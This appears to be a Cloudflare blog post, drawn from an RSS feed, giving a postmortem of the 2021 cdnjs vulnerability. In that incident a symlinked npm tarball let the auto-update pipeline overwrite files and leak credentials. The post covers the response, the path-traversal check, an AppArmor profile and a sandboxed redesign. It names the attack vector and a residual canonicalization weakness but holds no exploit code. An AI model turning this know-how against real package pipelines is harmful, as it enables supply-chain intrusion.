    <p>As outlined in RyotaK’s blog post, the incident began on 2021-04-06. At around 1100 GMT, RyotaK published a package to npm exploiting the vulnerability. At 1129 GMT, cdnjs processed this package, resulting in a leak of credentials. This triggered GitHub alerting which notified Cloudflare of the exposed secrets.</p><p>Cloudflare disabled the auto-update service and revoked all credentials within an hour. In the meantime, our security team received RyotaK’s remote code execution report through HackerOne. A new version of the auto-update tool which prevents exploitation of the vulnerability RyotaK reported was released within 24 hours.</p><p>Having taken action immediately to prevent exploitation, we then proceeded to redesign the auto-update pipeline. Work to completely redesign it was completed on 2021-06-03.</p>
    <div>
      <h3>Blocking Exploitation</h3>
      <a href="#blocking-exploitation">
        
      </a>
    </div>
    <p>Before RyotaK reported the vulnerability via HackerOne, Cloudflare had already taken action. When GitHub notified us that credentials were leaked, one of our engineers took immediate action and revoked them all. Additionally, the GitHub token associated with this service was automatically revoked by GitHub.</p><p>The second step was to bring the vulnerable service offline to prevent further abuse while we investigated the incident. This prevented exploitation but also made it impossible for legitimate developers to publish updates to their libraries. We wanted to release a fixed version of the pipeline used for retrieving and hosting new library versions so that developers could continue to benefit from caching. However, we understood that a stopgap was not a long term fix, and we decided to review the entire current solution to identify a better design that would improve the overall security of cdnjs.</p>
    <div>
      <h3>Investigation</h3>
      <a href="#investigation">
        
      </a>
    </div>
    <p>Any sort of investigation requires access to logs and all components of our pipeline generate extensive logs that prove valuable for forensics efforts. Logs produced by the auto-update process are collected in a <a href="https://github.com/cdnjs/logs">GitHub repository</a> and sent to our logging pipeline. We also collect and retain logs from cdnjs’ Cloudflare account. Our security team began reviewing this information as soon as we received RyotaK’s initial report. Based on access logs, API token usage, and file modification metadata, we are confident that only RyotaK exploited this vulnerability during his research and only on test files. To rule out abuse, we reviewed the list of source IP addresses that accessed the Workers KV token prior to revoking it and only found one, which belongs to the cdnjs auto-update bot.</p><p>The cdnjs team also reviewed files that were pushed to the <a href="https://github.com/cdnjs/cdnjs">cdnjs/cdnjs GitHub repository</a> around that time and found no evidence of any other abuse across cdnjs.</p>
    <div>
      <h3>Remediating the Vulnerability</h3>
      <a href="#remediating-the-vulnerability">
        
      </a>
    </div>
    <p>Around half of the libraries on cdnjs use <a href="https://www.npmjs.com/">npm</a> to auto-update. The primary vector in this attack was the ability to craft a <code>.tar.gz</code> archive with a symbolic link and publish it to the npm registry. When our pipeline extracted the content it would follow symlinks and overwrite local files using the pipeline user privileges. There are two fundamental issues at play here: an attacker can perform <a href="https://en.wikipedia.org/wiki/Directory_traversal_attack">path traversal</a> on the host processing untrusted files, and the process handling the compressed file is <a href="https://en.wikipedia.org/wiki/Principle_of_least_privilege">overly privileged</a>.</p><p>We addressed the path traversal issue by checking that the destination of each file in the tarball will be contained within the target directory that the update process has designated for that package. If the file’s <a href="https://en.wikipedia.org/wiki/Canonicalization">full canonical path</a> doesn’t begin with the destination directory’s full path, we log this as a warning and skip extracting that file. This works fairly well, but as noted in the <a href="https://github.com/cdnjs/tools/pull/220/files#diff-0df1c31d75e0fcc18581b25b3e3e8f7584e0c6acdf38eef60ddcd06d01ac3734R59-R63">comment</a> above this check, if the compressed file uses UTF-8 encoding for filenames, this check may not properly canonicalize the path. If this canonicalization does not occur, the path may contain path traversal, even though it starts with the correct destination path.</p><p>To ensure that other vulnerabilities in cdnjs’ publication pipeline cannot be exploited, we configured an <a href="https://github.com/cdnjs/bot-ansible/pull/24/files">AppArmor profile</a> for it. This limits the <a href="https://man7.org/linux/man-pages/man7/capabilities.7.html">capabilities</a> of the service, so even if an attacker successfully instructed the process to perform an action, the operating system (kernel / security feature) will not allow any action outside of what it is allowed to do.</p><p>For illustration, here’s an example:</p>
            <pre><code>/path/to/bin {
  network,
  signal,
  /path/to/child ix,
  /tmp/ r,
  /tmp/cache** rw,
  ...
}</code></pre>
            <p>In this example, we only allow the binary (/path/to/bin) to:</p><ul><li><p>access all networking</p></li><li><p>use all signals</p></li><li><p>execute /path/to/child (which will inherit the AppArmor profile)</p></li><li><p>read from /tmp</p></li><li><p>read+write under /tmp/cache.</p></li></ul><p>Any attempt to access anything else will be denied. You can find the complete list of capabilities and more information on <a href="https://manpages.ubuntu.com/manpages/precise/en/man5/apparmor.d.5.html">AppArmor’s manual page</a>.</p><p>In the case of cdnjs’ autoupdate tool, we limit execution of applications to a very specific set, and we limit where files can be written.</p><p>Fixing the path traversal and implementing the AppArmor profile prevents similar issues from being exploited. However, having a single layer of defense wasn’t enough. We decided to completely redesign the auto-update process entirely to isolate each step, as well as each library it processes, thus preventing this entire class of attacks.</p>
    <div>
      <h3>Redesigning the system</h3>
      <a href="#redesigning-the-system">
        
      </a>
    </div>
    <p>The main idea behind the redesign of the pipeline was to move away from the monolithic auto-update process. Instead, various operations are done using microservices or daemons which have well-defined scopes. Here’s an overview of the steps:</p>
            <figure>
            
            <img src="https://cf-assets.www.cloudflare.com/zkvhlag99gkb/NaGyDtiWkMV4J2XvfbReq/4f4aafe30c6fbe07bfd684845dafef3d/image1-18.png" />
            
            </figure><p>First, to detect new library versions, two daemons (for both npm and git based updates) are regularly running. Once a new version has been detected, the files will be downloaded as an archive and placed into the incoming storage bucket.</p><p>Writing a new version in the incoming bucket triggers a function that adds all the information we need to update the library. The function also generates a signed URL allowing for writing in the outgoing bucket, but only in a specific folder for a given library, reducing the blast radius. Finally, a message is placed into a queue to indicate that the new version of the given library is ready to be published.</p><p>A daemon listens for incoming messages and spawns an unprivileged Docker container to handle dangerous operations (archive extraction, minifications, and compression). After the sandbox exits, the daemon will use the signed URL to store the processed files in the outgoing storage bucket.</p><p>Finally, multiple daemons are triggered when the finalized package is written to the outgoing bucket. These daemons publish the assets to cdnjs.cloudflare.com and to the main <a href="https://github.com/cdnjs/cdnjs">cdnjs repository</a>. The daemons also publish the version specific URL, cryptographic hash, and other information to Workers KV, cdnjs.com, and the <a href="https://cdnjs.com/api">API</a>.</p><p>In this revised design, exploiting a similar vulnerability would happen in the sandbox (Docker container) context. The attacker would have access to container files, but nothing else. The container is minimal, ephemeral, has no secrets included, and is dedicated to a single library update, so it cannot affect other libraries’ files.</p>
    <div>
      <h3>Our Commitment to Security</h3>
      <a href="#our-commitment-to-security">
        
      </a>
    </div>
    <p>Beyond maintaining a vulnerability disclosure program, we regularly perform internal security reviews and hire third-party firms to audit the software we develop. But it is through our vulnerability disclosure program that we receive some of the most interesting and creative reports. Each report has helped us improve the security of our services. In this case, we worked with RyotaK to not only address the vulnerability, but to also ensure that their blog post was detailed and accurate. We invite those that find a security issue in any of Cloudflare’s services to report it to us through <a href="https://hackerone.com/cloudflare">HackerOne</a>.</p> ]]></content:encoded>
            <category><![CDATA[CDNJS]]></category>
            <category><![CDATA[Security]]></category>
            <category><![CDATA[Bug Bounty]]></category>
            <guid isPermaLink="false">666ctQ9OY5rCiI6GZyKm9G</guid>
            <dc:creator>Jonathan Ganz</dc:creator>
            <dc:creator>Thomas Calderon</dc:creator>
            <dc:creator>Sven Sauleau</dc:creator>
        </item>
    </channel>
</rss>